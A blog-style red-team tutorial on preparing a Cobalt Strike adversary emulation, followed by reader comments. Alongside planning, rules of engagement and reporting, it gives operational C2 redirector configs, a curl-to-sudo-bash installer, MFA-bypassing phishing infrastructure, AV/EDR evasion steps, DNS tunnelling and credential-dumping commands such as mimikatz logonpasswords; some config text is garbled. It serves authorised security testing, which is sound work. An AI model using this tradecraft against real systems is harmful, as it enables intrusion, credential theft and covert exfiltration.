Performing an adversary emulation with Cobalt Strike PT.1
OpenArt Image Generator

Performing an adversary emulation with Cobalt Strike PT.1

Introduction

This is an introductory article, let's prepare our environment to start our adversary emulation process. I will use Cobalt Strike as C2 to do our tests, this is a stage where we will only develop the operations part.

For your studies I recommend Try Hack Me:

https://tryhackme.com/path/outline/redteaming

Introduction to Adversary Emulation

Adversary tactics, techniques and procedures, collected by the Threat Intelligence team, are used to create a security test based on real-world intrusion campaigns.

The focus is on knowing where to prioritize security features and identifying gaps in the environment.

Mapping threat groups (APT) and using it as a basis to create threat models for testing.

Introduction to Cobalt Strike

Cobalt Strike is a platform for opponent simulations and Red Team operations. The product is designed to execute targeted attacks and emulate the post-exploit actions of advanced threat actors. Using the main Cyber Kill Chain framework as a base.

Below are the phases of the Kill Chain that will be used in our process:

N?o foi fornecido texto alternativo para esta imagem

Threat Emulation Plan

Adversary emulation plans describe the behavior of groups of persistent threats mapped to ATT&CK. They are used by opposing emulation teams to test an organization's network security and security products against specific threats.

Shall we create our Emulation plan?

Below I will put an example of a simple plan, especially if you are starting, you can start with a small less critical environment of your company and then evolve according to the maturity and understanding of the business.

Goals:

  • Test my network's Active Directory servers
  • Emulating credential theft and data exfiltration or a ransomware attack

Identify threats:

  • Use the Miter Att&ck map to identify groups that use Cobalt Strike as their C2
  • In addition to modus operandi that are effective in environments with AD

Creation of scenarios:

  • Define the most realistic scenario possible, with well-designed attack vectors, starting from the initial access to the final impact I want to generate
  • For this I will use the Miter map to get TTPs that make sense in my environment

Success metrics:

  • Number of compromised servers
  • Bypassed defense mechanisms (EDR, AV, Firewall)
  • Threat detection rate
  • Threat response time

Emulation run:

  • Run the test, following a logical line and with the view of a malicious attacker
  • Simulate threats that have been identified and used by famous APT groups
  • Carefully record results whether positive or not.

A useful library for you to collect information from already mapped APT groups

https://github.com/center-for-threat-informed-defense/adversary_emulation_library

Example from APT29:

Adversary emulation plans require a significant investment of time, knowledge, and effort to create properly. These plans involve several steps, such as cyber threat intelligence (CTI) research, TTP (tactics, techniques and procedures) analysis, ATT&CK mapping and, if necessary, custom tool development. In addition, you need to set up an appropriate test environment, create an emulation plan, run the tests, and perform a final quality review.

The diversity of existing methodologies and representations for adversary emulation plans ends up harming their usefulness and increasing the workload for users. This lack of standardization makes the process more complex and hinders the efficient adoption of these plans. However, there are initiatives and frameworks, such as MITER ATT&CK? and the Caldera framework, which aim to establish standards and simplify the creation and use of these plans.

https://github.com/mitre-attack/attack-arsenal/blob/master/adversary_emulation/APT29/Emulation_Plan/APT29_EmuPlan.pdf

In short, this is useful for tradecraft improvements and creations

What would tradecraft be? Is it something related to Minecraft?

Threat emulation tradecraft can include knowledge of the latest threat trends, cyber threat intelligence, social engineering techniques, vulnerability exploitation methods, use of specialized tools, data analysis and test reports, among other aspects. It is a combination of technical skills, practical experience and advanced knowledge to accurately simulate the behaviors and tactics used by opponents.

Continuous improvement of tradecraft is essential to maintain threat emulation effectiveness, as adversaries are always evolving and developing new techniques. This requires a commitment to research, constant learning and updating of security professionals' skills and knowledge.

Example:

An example of tradecraft in emulating threats might be simulating a phishing attack targeting an organization. In this case, a professional specializing in threat emulation would use advanced social engineering techniques to create a fake email that mimics a legitimate communication from a trusted sender, such as a co-worker or a known vendor.

The professional would carefully design the email to look authentic, including elements such as corporate logos, accurate company information, and compelling copy. The aim would be to trick recipients into providing sensitive information such as passwords, login credentials or financial data.

When creating the email, the threat emulation specialist would apply their knowledge of human psychology, persuasion techniques, and understanding of common vulnerabilities in the organization's security practices. They could also use specialized tools to track whether the email was opened, whether links were clicked, or whether there was any interaction with the malicious content.

Simulating such a phishing attack would allow the organization to assess its employees' awareness and preparedness regarding threats of this type. Based on the results, the security team could identify weaknesses and areas that need improvement, such as additional training on identifying suspicious emails, strengthening security policies, or implementing stronger authentication controls.

TTPs (Tatics, Techniques and Procedures)

TTPs (Tactics, Techniques, and Procedures) are terms used to describe the tactics, techniques, and procedures that cyber adversaries use to carry out their malicious activities. TTPs are an essential component in emulating threats and building effective defense plans.

TTPs describe the ways in which an adversary can carry out a variety of activities, such as exploiting vulnerabilities, infiltrating systems, moving laterally, gathering intelligence, and exfiltrating data. They provide insights into the methods and approaches that cyber adversaries employ in their attacks.

By understanding TTPs, security teams can create more effective defense strategies. They can adjust their security settings, deploy appropriate controls, and implement appropriate mitigation measures based on the tactics and techniques used by adversaries.

Tradecraft, on the other hand, refers to the specialized skills, techniques, and knowledge used by cybersecurity professionals. This includes applying TTPs to simulate attacks and identify vulnerabilities in an organization. Tradecraft involves using specialized tools, understanding vulnerabilities and security best practices, and taking a holistic approach to assessing security posture.

Parameterization of testing tools also plays a key role in threat emulation. Tools used during testing must be properly configured to simulate the TTPs and techniques employed by real opponents. This includes defining attack profiles, exploit settings, choosing appropriate payloads, and other customizations to ensure tests are realistic and relevant.

Proper parameterization of test tools allows security teams to accurately simulate attack scenarios and identify vulnerabilities that a real adversary could exploit. This helps validate the organization's defenses, identify areas for improvement, and prioritize mitigation actions.

Att&ck Navigator

The ATT&CK Navigator is an interactive tool that helps you visualize and explore the MITER ATT&CK matrix. It provides a graphical interface that allows you to browse ATT&CK tactics, techniques and procedures (TTPs) as well as create and customize attack maps.

Main features of ATT&CK Navigator:

  1. ATT&CK Matrix View: Allows you to explore the different ATT&CK tactics and techniques, as well as view details about each one.
  2. Custom Attack Maps: Allows you to create custom attack maps to visualize and plan specific threat scenarios.
  3. Annotations and Bookmarks: Allows you to add annotations and bookmarks to ATT&CK techniques for documentation and reference purposes.
  4. Import and Export: Allows you to import and export ATT&CK Navigator configurations to share or backup attack maps.
  5. Integration with other tools: Can be integrated with other security tools such as incident management platforms and security analysis tools.

N?o foi fornecido texto alternativo para esta imagem

Using ATT&CK Navigator is flexible and depends on the user's needs. You can use it to explore ATT&CK techniques and tactics, create custom attack maps for analysis and planning, and document relevant information about each technique.

RoE (Rules of Engagements)

ROE (Rules of Engagement) refers to the rules of engagement in a Red Team exercise, which establish the parameters, limitations and guidelines for the red team during the attack simulation. The ROE is a key document that helps ensure that testing is conducted ethically, safely, and in line with the organization's goals.

The information that must be present in a Red Team ROE can vary depending on the specific needs and requirements of the exercise. However, here are some common elements that are often included:

Test Scope: A clear description of the systems, applications, networks or areas of the organization that are subject to testing. This defines the boundaries within which the red team can operate.

Objectives: The specific objectives of the Red Team exercise, i.e. what the red team is allowed to do or pursue during the test.

Restrictions: Any restrictions or limitations placed on the red team. This can include prohibiting activities such as using denial of service (DoS) attacks, manipulating production data, or disrupting critical services.

Time limits: The period of time during which the red team is allowed to conduct the test. This helps ensure that testing takes place within a defined schedule and that the team does not proceed beyond the designated time.

Contacts and Communication Points: The contact information for the parties involved, including the red team, blue team (inside defense team) and any other relevant points of contact.

Reporting Procedures: What procedures must be followed to report Red Team activities and findings to the Blue Team or management team responsible for the exercise. This includes notification of critical vulnerabilities or successful exploits.

Security Policies: Any specific security policies, guidelines, or requirements that the red team must follow during testing. This may include compliance with data privacy regulations, confidentiality requirements, or other internal organization policies.

Confidentiality Agreements: The confidentiality terms that the red team must follow to protect sensitive organization information obtained during the exercise.

Emergency procedures: The procedures to be followed in case of emergency or critical situations during the test. This may include ways to immediately stop activities or report serious incidents.

It is necessary to parameterize this file and the responsible parties sign and give their consent to the tests and exercises that will be carried out, avoiding problems and major headaches.

Red Team Report Creation

Comprehensive documentation is required that details the findings, analysis, and recommendations resulting from an attack simulation or threat emulation. It provides an overview of the process, methods used, and weaknesses identified in the tested system or organization. While the exact format can vary based on the team's needs and preferences, here are some key elements that should generally be present in a Red Team report:

Executive Summary: A brief overview of key findings, identified risks, and high-level recommendations. This summary is designed to provide a quick and concise overview of the overall impact of the attack simulation.

Simulation objectives: A clear description of the objectives defined at the beginning of the Red Team exercise, including which systems, applications or areas of the organization were tested.

Methodology: Details on the approach, techniques and tools used during the attack simulation. This may include explaining the steps taken, exploiting vulnerabilities, social engineering, using malware and other tactics employed.

Test Results: A detailed description of the findings, including identified vulnerabilities, security holes, or gaps. This can range from misconfiguration to successful exploitation of known vulnerabilities.

Impact: An assessment of the potential impact of identified vulnerabilities and exploits. This can include the associated security risks, potential consequences for the organization and estimating the damage that could be caused in a real-world scenario.

Recommendations: A clear and concise list of recommended actions to mitigate identified vulnerabilities and strengthen the organization's security. These recommendations should be practical, actionable, and prioritized based on severity and likelihood of exploitation.

Additional Considerations: Any additional relevant information that might be useful to the organization, such as security awareness notes, policies and best practices, training requirements, or suggestions for general improvements to security posture.

Attachments: Any additional relevant documentation, such as test logs, screen captures, reports of tools used, vulnerability analysis results, among others.

Example: https://redteam.guide/docs/Templates/report_template

Preparing the Toolkit (Weaponization)

Now let's set up our test environment, below I'll leave a repository that contains some useful tools.

A plus for you who are going to use Cobalt Strike is to create a notification alert, either via SMS, Slack or Teams, here is the script.

C2 Structure


N?o foi fornecido texto alternativo para esta imagem

Interactive (N3)

?Used for general commands, enumeration, scanning, data exfiltration, etc.

?This level has the most interaction and is at the highest risk of exposure.

?Plan for loss of access due to miscommunication, agent failure or Blue Team actions.

?Run enough interactive sessions to maintain access. While interactive, this doesn't mean blasting the client with packages. Use common sense to minimize the interaction just enough to take action.

Short Haul (N2)

?Used as a backup to re-establish interactive sessions.

?Use covert communications that blend in with the target.

?Slow callback times. Callback times in 1–24 hours.

Long Haul (N1)

?Same as Short Haul, but even lower and slower.

?Slow callback times. Callback times of more than 24 hours are common.

NGINX Redirectors

A redirector in Nginx is used to redirect requests from one URL to another. It directs traffic arriving at a certain Nginx server to another destination based on certain conditions. This can be useful in many situations, such as:

URL redirection: A redirector can be used to redirect requests from an old URL to a new URL. This is useful when you change your site's structure or move content to a new location.

Traffic Redirection: Redirection can also be used to direct traffic from one domain or subdomain to another server or service. For example, you can redirect all traffic from "www.example.com" to "app.example.com" or to a cloud service.

Conditional Redirection: A redirector can be configured based on certain conditions, such as User-Agent, client IP address, or other HTTP headers. This allows you to redirect requests based on specific criteria. For example, you can redirect requests from mobile devices to a mobile version of your website.

Traffic Management: The redirector can also be used to distribute incoming traffic across multiple servers or services, helping to balance load and improve scalability.

N?o foi fornecido texto alternativo para esta imagem
ditrizna article

Simple port forwarding by tools like socat or SSH can solve bullet #1 and partly #4. However, to address bullets #2 and #3 we need to introduce more sophisticated redirectors — hosts, which act as reverse proxies to forward only specific traffic to the real C2 server, whilst serving counterfeit content for the arbitrary visitor. In this article, we will focus on HTTPS as a protocol for external C2 communication.

More details, recommend the article Dmitrijs Trizna

Example:


http 
? server {
? ? listen 80;
? ? listen 443 ssl;
? ? server_name example.com;


? ? ssl_certificate "/etc/letsencrypt/live/https://www.dhirubhai.net/redir/general-malware-page?url=test%2eupdate%2eallowed%2eorg%2Fcert%2epem";
? ? ssl_certificate_key "/etc/letsencrypt/live/https://www.dhirubhai.net/redir/general-malware-page?url=test%2eupdate%2eallowed%2eorg%2Fprivkey%2epem";
? ? ssl_session_cache shared:SSL:1m;
? ? ssl_session_timeout 10m;
? ? ssl_ciphers HIGH:!aNULL:!MD5;
? ? ssl_prefer_server_ciphers on;


? ? location / {
?# Primeiro exemplo

 ? ? if ($http_user_agent ~* "Cobalt Strike") {
? ? ? ? return 301 https://cobaltstrike-redirector.com$request_uri;

# Segundo Exemplo

	  set $C2 "";
	  if ($http_user_agent ~ "41.0.2228.0") {
	      set $C2 A;
	  }
	  if ($remote_addr ~ "123.123.123") {
	      set $C2 "${C2}B";
	  }
	  if ($remote_addr ~ "213.213.213") {
	      set $C2 "${C2}B";
	  }
	  if ($C2 = "AB") {
	      proxy_pass https://localhost:8080;
	  }
	    try_files $uri $uri/ =404;
	  }
? ? ??
? ? ? # Configura??es do servidor para tráfego normal
? ? }
? }
}

{        

Basic Configuration:

Step 1: Install Nginx

Make sure you have Nginx installed on your server. Depending on the operating system, you can use commands like apt-get (Ubuntu/Debian) or yum (CentOS/RHEL) to install Nginx.

Step 2: Get the SSL certificates

Make sure you have valid SSL certificates for your domain.

You can use Let's Encrypt or any other trusted vendor to get the certificates.

Step 3: Create the Nginx Configuration File

Create a configuration file for Nginx, for example cobaltstrike-redirector.conf and add the above content

Be sure to replace example.com with your actual domain and adjust the SSL certificate paths in the ssl_certificate and ssl_certificate_key directives.

Step 4: Copy the configuration file

Copy the cobaltstrike-redirector.conf configuration file to the Nginx configuration directory. Depending on the Linux distribution, the directory might be /etc/nginx/conf.d/ or /etc/nginx/sites-available/.

Step 5: Restart Nginx

After copying the configuration file, restart the Nginx service for the changes to take effect. Use the appropriate command to restart Nginx on your operating system, such as service nginx restart or systemctl restart nginx.

Outro tutorial para criar sua infraestrutura de ataque

PWNDrop

GIF Demonstration



pwndrop?is a self-deployable file hosting service for sending out red teaming payloads or securely sharing your private files over HTTP and WebDAV.

If you've ever needed to quickly set up an nginx/apache web server to host your files and you were never happy with the limitations of?python -m SimpleHTTPServer,?pwndrop?is definitely for you!

  • Upload and immediately share multiple files using your own private VPS, using drag & drop.
  • ?Decide to make files available or unavailable for download with a single click.
  • ?Set up custom download URLs, for shared files, without playing with directory structure.
  • ?Set up facade files, which will be served instead of the original file whenever you feel like it.
  • ?Set up automatic redirects to spoof the file's extension in a shared link.
  • ?Change MIME type of the served file to change browser's behavior when a download link is clicked.
  • ?Serve files over HTTP, HTTPS and WebDAV.
  • ?Install and setup everything using a bash oneliner.
  • ?Set up?pwndrop?to work as a nameserver and respond with a valid DNS A record to any sub-domain you choose.
  • ?Protect your admin panel behind a custom secret URL path and log in securely with your own username and password.
  • ?Never worry about setting up HTTPS certificates as?pwndrop?does everything for you in the background (including auto-renewals).

curl https://raw.githubusercontent.com/kgretzky/pwndrop/master/install_linux.sh | sudo bash        

PWNDrop Basic Config in Nginx

In this example, requests with the "User-Agent" header containing the string "Pwndrop" will be redirected to a malicious resource with the same name structure as the requested resource.

The if ($request_filename ~* "^(.*)\.doc$") directive checks whether the requested file name ends with the ".doc" extension. Then the $redirected_file variable is set to the file name, changing the extension to ".iso". The rewrite directive redirects the request to the new file with the modified extension.

http 
? server {
? ? listen 80;
? ? server_name example.com;


? ? location / {
? ? ? if ($http_user_agent ~* "Pwndrop") {
? ? ? ? if ($request_filename ~* "^(.*)\.doc$") {
? ? ? ? ? set $redirected_file $1.iso;
? ? ? ? ? rewrite ^(.*)$ $scheme://$host$redirected_file last;
? ? ? ? }
? ? ? }
? ? ??
? ? ? # Configura??es do servidor para tráfego normal
? ? }
? }
}

{        

Evilginx + Gophish

N?o foi fornecido texto alternativo para esta imagem


N?o foi fornecido texto alternativo para esta imagem
https://notes.offsec-journey.com/resource-development/infrastructure-1

In this setup,?GoPhish?is used to send emails and provide a dashboard for?evilginx2?campaign statistics, but it is not used for any landing pages. Your phishing links sent from?GoPhish?will point to an?evilginx2?lure path and?evilginx2?will be used for landing pages. This provides the ability to still bypass?2FA/MFA?with?evilginx2, without losing those precious stats.?Apache2?is simply used as a proxy to the local?evilginx2?server and an additional hardening layer for your phishing infrastructure. Realtime campaign event notifications have been provided with a local websocket/http server I have developed and full usable?JSON?strings containing tokens/cookies from?evilginx2?are displayed directly in the?GoPhish?GUI (and feed):

  • evilginx2?will listen locally on port?8443
  • GoPhish?will listen locally on port?8080?and?3333
  • Apache2?will listen on port?443?externally and proxy to local?evilginx2?server
  • Requests will be filtered at?Apache2?layer based on redirect rules and IP blacklist configuration
  • Redirect functionality for unauthorized requests is still baked into?evilginx2?if a request hits the?evilginx2?server

Artifact KIT

Cobalt Strike uses the Artifact Kit to generate its executables and DLLs. The Artifact Kit is a source code framework to build executables and DLLs that evade some anti-virus products. The Artifact Kit build script creates a folder with template artifacts for each Artifact Kit technique. To use a technique with Cobalt Strike, go to Cobalt Strike -> Script Manager, and load the artifact.cna script from that technique's folder.

  • Install the dependencies :?sudo apt-get install mingw-w64
  • Edit the Artifact code
  • Change pipename strings
  • Change?VirtualAlloc?in?patch.c/patch.exe, e.g: HeapAlloc
  • Change Import
  • Build the Artifact
  • Cobalt Strike -> Script Manager > Load .cna

N?o foi fornecido texto alternativo para esta imagem

Download the artifact to your machine

N?o foi fornecido texto alternativo para esta imagem

Perform the .zip decompression

N?o foi fornecido texto alternativo para esta imagem

Go to the Cobalt Strike > Script Manager option

N?o foi fornecido texto alternativo para esta imagem

Run build.sh to rebuild the artifacts, especially after the changes made, you can rebuild again.

N?o foi fornecido texto alternativo para esta imagem

In the dist-pipe folder is the artifact.cna file that you will upload to in cobalt strike

N?o foi fornecido texto alternativo para esta imagem

After loading the script, just generate new Stagers

C2 Profile Configuration

N?o foi fornecido texto alternativo para esta imagem

  • http-stager : The Beacon is a staged payload. The stager downloads the file and injects it into memory. The values listed in this transaction are customizing the HTTP communication for downloading the beacon.
  • http-get: The http-get process customizes the HTTP communication between the Beacon and the Cobalt server. The Beacon starts by sending the HTTP request with metadata about the compromised system. If the cobalt server has tasks to perform, the server will send an HTTP response.
  • http-post: Once the Beacon executes the tasks sent by the server, the task output is transferred in the http-post request. The values listed in this transaction affect HTTP communication when task output is sent to the server.
  • https-certificate: If the Beacon is in charge of communicating over HTTPS, the cobalt server will generate a self-signed certificate. The server uses http-get and http-post request values to create real HTTP requests and responses. This profile transaction can help specify the different parameters for SSL certificates.

This project is intended to serve as reference when designing Cobalt Strike Malleable C2 profiles.

Cobalt Strike Beacon

The Cobalt Strike beacon is a key component that allows the compromised agent to communicate with the Cobalt Strike command and control (C&C) infrastructure. It functions as a two-way communication channel, allowing the Cobalt Strike operator to send commands to and receive information from the compromised system.


The Cobalt Strike beacon is designed to be stealthy and evasive, using obfuscation and encryption techniques to avoid detection. It can be configured to communicate through different protocols such as HTTP, DNS or even through custom communication channels.

Listeners?are the Cobalt Strike component that payloads, such as BEACON, use to connect to a team server. Cobalt Strike supports several protocols and supports a wide range of modifications within each listener type. Some changes to a listener require a "listener restart" and generating a new payload. Some changes require a full team server restart.?

  • HTTP/HTTPS?is by far the most common listener type.
  • While Cobalt Strike includes a default TLS certificate, this is well known to defenders and blocked by many enterprise products (“signatured”). Usually operators will generate valid certificates, such as with LetsEncrypt, for their C2 domains to blend in.?
  • Thanks to Malleable Profiles (discussed later in the post), operators can heavily configure how the BEACON network traffic will look and can masquerade as legitimate HTTP connections.
  • Operators can provide a list of domains/IPs when configuring a listener, and the team server will accept BEACON connections from all of them (see "Redirectors"). Operators can also specify Host header values (see "Domain Fronting").?
  • DNS?listeners establish sessions to their team server using DNS requests for domains the team server is authoritative for. DNS listeners support?two modes:
  • Hybrid (DNS+HTTP)?is the default and uses DNS for a beacon channel and HTTP for a data channel.?
  • Pure DNS?can also be enabled to use DNS for both beacon and data channels. This leverages regular A record requests to avoid using HTTPS and provide a stealthier, though slower method of communication.?
  • SMB?is a bind style listener and is most often used for chaining beacons. Bind listeners open a local port on a targeted system and wait for an incoming connection from an operator. See "Important Concepts > Chaining Beacons" for more information.?
  • Raw TCP?is?a (newer) bind style listener and can also be used for chaining beacons. See "Important Concepts > Chaining Beacons" for more information.?

The final two listeners are less common, but they provide compatibility with other payload types.

  • Foreign listeners?allow connections from Metasploit’s?Meterpreter?backdoor to simplify passing sessions between the Metasploit framework and the Cobalt Strike framework.
  • External C2?listeners provide a specification that operators can use to connect to a team server with a reverse TCP listener. Reverse listeners connect back and establish an external connection to an operator, instead of waiting for an incoming connection such as with “bind” listeners.

Data Exfiltration Configuration

As our goal is to exfiltrate data, having beacons prepared not only for persistence, but for exfiltrating data in different side-over channels is important.

N?o foi fornecido texto alternativo para esta imagem

In the context of the Cobalt Strike beacon, the encryption and decryption of the communication can involve the use of AES (Advanced Encryption Standard) and RSA (Rivest-Shamir-Adleman) algorithms.

AES is a symmetric encryption algorithm widely used for its security and efficiency. The beacon may use AES to encrypt the data exchanged between the compromised system and the Cobalt Strike C&C server. AES uses a shared secret key, known only to the beacon and the server, to encrypt and decrypt the data. This ensures that the communication remains confidential and secure.

On the other hand, RSA is an asymmetric encryption algorithm that involves the use of a public-private key pair. The beacon can use RSA encryption for purposes such as securely transmitting the symmetric session key used for AES encryption. The public key of the C&C server is used to encrypt the session key, and the private key held by the server is used to decrypt it. This allows for secure key exchange between the beacon and the server.

The combination of AES and RSA encryption provides a strong level of security for the beacon's communication. AES ensures the confidentiality and integrity of the data, while RSA facilitates secure key exchange and authentication between the beacon and the server.

Public/Private Key Generation and Extraction cobalt strike beacon

Public/Private Key Generation:

  • The Cobalt Strike beacon can generate a public/private key pair using cryptographic libraries or algorithms such as RSA.
  • The public key is shared with the Cobalt Strike command and control (C&C) server, allowing the server to encrypt data or keys intended for the beacon.
  • The private key is securely stored within the Cobalt Strike infrastructure and used for decrypting data or keys received from the C&C server.

Data Exfiltration:

  • When the beacon needs to exfiltrate sensitive data, it encrypts the data using a symmetric encryption algorithm like AES.
  • The beacon generates a random symmetric encryption key (session key) specifically for encrypting this data.
  • The data is encrypted using the session key and can be securely transmitted to the C&C server.

Key Exfiltration:

  • If the beacon needs to send the session key securely to the C&C server, it can encrypt the session key using the server's public key.
  • The encrypted session key is then sent along with the encrypted data.

C&C Server Side:

  • On the C&C server side, the encrypted data and session key are received.
  • The server uses its private key, which is securely stored, to decrypt the session key.
  • Once the session key is decrypted, it can be used to decrypt the exfiltrated data.

By using public/private key encryption, Cobalt Strike ensures that sensitive data and encryption keys remain secure during the exfiltration process. The public key allows for secure encryption, while the corresponding private key enables decryption on the C&C server side.

DNS Tunelling

Inspired by recent work I did involving Cobalt Strike DNS beacons, in conjunction with a mission statement to try and evade Microsoft Defender for Endpoint, I spent some time looking into how DNS might be used to transfer a payload to a target machine. I further wanted to challenge myself by trying to do so in a way that is possible even when powershell is in Constrained Language Mode. This research was targeted at more modern implementations of Windows (i.e. Win10+, Server 2019+) but as you see later it may be possible in lower versions.

What do DNS records look like?

Most should be at least cursorily familiar with DNS from use of tools like Nslookup. But at a basic level, the client sends a query and the DNS server returns an answer to that query. There are several different kinds of DNS records: CNAME, A, AAAA, TXT, MX, and NS just to name a few. Each of these records can store and return different information. These records are configured in a Zonefile, which is served by a DNS server.

Iodine + Cobalt Strike Tunneling Basic

By configuring a DNS tunnel using Iodine for Cobalt Strike, you can redirect traffic from the Cobalt Strike Beacon through the DNS tunnel to evade detection and security controls. Here is an example of how to configure DNS tunneling using Iodine for Cobalt Strike:

DNS server configuration:

  • Make sure you have access to a public DNS server or an authoritative DNS server with permissions to set up records.
  • Define a subdomain for the DNS tunnel, such as "tuneldns.example.com", and configure an NS record pointing to the IP address of the server where you will run Iodine.

Iodine server configuration:

  • Install Iodine on the server that will act as the DNS tunnel endpoint.

Run the following command to start the Iodine server:

iodined -f -P PASSWORD TUNNEL_IP tuneldns.example.com         

  • Replace "PASSWORD" with the desired password for the DNS tunnel and "TUNNEL_IP" with the IP address of the server that will run Iodine.

Cobalt Strike Configuration:

  • Access the Cobalt Strike control panel and go to "C2 -> Listeners".
  • Create a new listener for the HTTP(S) Beacon.
  • In the listener configuration, set the "DNS Beaconing" field to the subdomain of the DNS tunnel, for example "tuneldns.example.com".
  • Configure other listener parameters as needed.

Iodine Client Configuration:

  • Install Iodine on the client where you will run Cobalt Strike Beacon.

Run the following command to start the Iodine client:

iodine -f -P PASSWORD TUNNEL_IP tuneldns.example.com         

  • Again, replace "PASSWORD" with the DNS tunnel password and "TUNNEL_IP" with the IP address of the Iodine server.

DNS tunnel test:

  • Launch the Cobalt Strike Beacon on the client.
  • Beacon traffic will be tunneled and sent through the DNS tunnel configured with Iodine.

Kit de explora??o e pós explora??o

ADSearch:

  • Description: ADSearch is a tool used to search and query information in an Active Directory environment.
  • Command example: adsearch -u <username> -p <password> -s <domaincontroller> -q <query>

Mimikatz:

  • Description: Mimikatz is a widely known tool used for extracting Windows credentials, including clear text passwords, hashes and Kerberos tickets.
  • Example command: mimikatz.exe "sekurlsa::logonpasswords"

Rubeus:

  • Description: Rubeus is a tool designed to exploit and abuse vulnerabilities in Kerberos and perform pass-the-ticket, golden ticket, and other attacks.
  • Command example: Rubeus.exe kerberoast /format:hashcat /outfile:hashes.txt

Seatbelt:

  • Description: Seatbelt is a Windows security auditing tool that collects information and performs security checks on a system.
  • Command example: Seatbelt.exe All

SharpUp:

  • Description: SharpUp is a C# tool that checks and exploits weak privilege escalation settings in Windows.
  • Example command: SharpUp.exe

SharpView:

  • Description: SharpView is a library and tool in C# that provides functionality to interact with Active Directory and perform enumeration, search and information extraction activities.
  • Command example: SharpView.exe Get-DomainUser

SharpWMI:

  • Description: SharpWMI is a C# tool that allows you to interact with Windows Management Instrumentation (WMI) to execute commands and obtain information on Windows systems.
  • Example command: SharpWMI.exe "SELECT * FROM Win32_Process"

Threatcheck:

  • Description: Threatcheck is a tool that performs a quick scan of a Windows system to identify possible Indicators of Compromise (IOCs) and malicious activity.
  • Example command: threatcheck.exe

SweetPotato:

  • Description: SweetPotato is a tool that leverages authentication against a Windows service to obtain an elevated privilege token, allowing the execution of commands with system privileges.
  • Command example: SweetPotato.exe -p "C:\Path\to\payload.exe" -l 1337

EDR Evasion Tools and Methods

  • PEzor: PE Packer for EDR evasion.
  • SharpBlock: A method of bypassing EDR's active projection DLL's by preventing entry point execution.
  • TikiTorch: AV/EDR evasion using Process Hollowing Injection.
  • Donut: Donut is a position-independent code that enables in-memory execution of VBScript, JScript, EXE, DLL files and dotNET assemblies.
  • Dynamic-Invoke: Bypassing EDR solution by hiding malicious win32 API calls from within C# managed code.
  • https://github.com/TheD1rkMtr: EDR Evasion Techniques

Malicious PDF creation tool

This is a tool I developed that generates a PDF with cotent URI from an object. Just pass the URL you want the redirection to happen.

N?o foi fornecido texto alternativo para esta imagem

https://github.com/CyberSecurityUP/BadPDF-Generator

More Details:

https://systemweakness.com/creating-a-malicious-pdf-file-to-launch-a-phishing-attack-4bd58a9c3e80

OPSEC Notes

  • Session Prepping:?Before engaging in any post-exploitation action after we have compromised a host, we should prepare our beacon to match the environments behaviour, that way we will generate the less amount of IOCs (Indicators Of Compromise) we can. To do that we can the "spawnto" module to specify which binary our child processes will use to execute post exploitation actions, also we can use the "ppid" module to spoof the parent process that our child processes will spawn under. Both those tricks will provide us with a good amount of stealth and will hide our presence on the compromised host.
  • Environment Behaviour Blending:?On a post exploitation context even when we are using the http(s) protocols to blend in with the environment's traffic, a good endpoint security solution or a Next Generation firewall can figure out that some traffic is unusual to exist on this environment and will probably block and create telemetry to a SOC endpoint for the blue team to examine it. Thats where "Malleable C2" profiles come, it is a configuration file that each cobalt strike team server can use and it provides customization and flexibility for: beacon's traffic, process injection, process spawning, behaviour, antivirus evasion etc. So the best practise is to never use default beacon behaviour and always use a custom profile for every assessment.

TTPs Examples

Define a TTP structure to be emulated, so I can have a direction based on the objectives defined at the beginning.

N?o foi fornecido texto alternativo para esta imagem

Above is an example defined with the Attack Navigator, after that I need to get every detail of the defined matrix and select tools, commands, best procedures to obtain the result, mapping specific TTPs to improve the tools.

N?o foi fornecido texto alternativo para esta imagem

Above is a spreadsheet of the commands that can be executed in the respective environment and tools, in addition to the tools and techniques selected within a specific Tactic. But of course, don't just stick to the selected tools, as it can vary for each environment in the end.

Conclusion

I spent an early morning writing this article, but in order not to make it huge and tiresome to read, I'm going to do a part two soon. Meanwhile, I ask for insights and feedback, especially for those who constantly perform adversary emulation in their daily lives.

Interesting courses and materials:

https://www.cybrary.it/course/mitre-attack-adversary-emulation/


https://www.mdsec.co.uk/training/adversary-simulation-red-team-tactics/



https://www.antisyphontraining.com/attack-emulation-tools-atomic-red-team-caldera-and-more-w-carrie-robert

https://www.youtube.com/watch?v=Vdd4lRXB7zE&ab_channel=Linode


https://www.youtube.com/watch?v=EIHLXWnK1Dw&list=PLBf0hzazHTGMjSlPmJ73Cydh9vCqxukCu&ab_channel=HackerSploit

https://scythe.io/library/adaptive-adversary-emulation-part-1-execution-details

https://www.youtube.com/watch?v=CXpHaY-2Fvw&ab_channel=RedTeamVillage

Jeremy Butts

CCNA/ Linux/ Security +/ (ISC)2 Cybersecurity/ CyberOps Associate

1 年

Outstanding Article; Academic Writing at best; the details, proof of concepts, flow, and amount of links, description, and theory was most refreshing, educational, most importantly applicable for real red team operations. Thank you ! I will be looking forward to the second part.

回复
Andrew Lemon

Top 77% TryHackMe

1 年

Best red teaming write up I’ve seen! I especially appreciate all the links to all the tools used and article’s referenced.

David Miller

RNTT Faculty Southeast Missouri State University

1 年

Thank you

Emmanuel Darah

RSI / RSSI / DSI / Cyber Consultant / Architecte SI

1 年

?? ??

Eric Gabriel

CTF Player | Ethical Hacker | Pentester | Cyber Security Analyst | Análise de malware | Red Team | Blue Team| Bug Hunter | SOC Analyst | NSE 2| OSINT Analyst | DCPT in progress | Digital Forensics | Offensive Security

1 年

que massa

要查看或添加评论,请登录

Joas A Santos的更多文章

社区洞察

其他会员也浏览了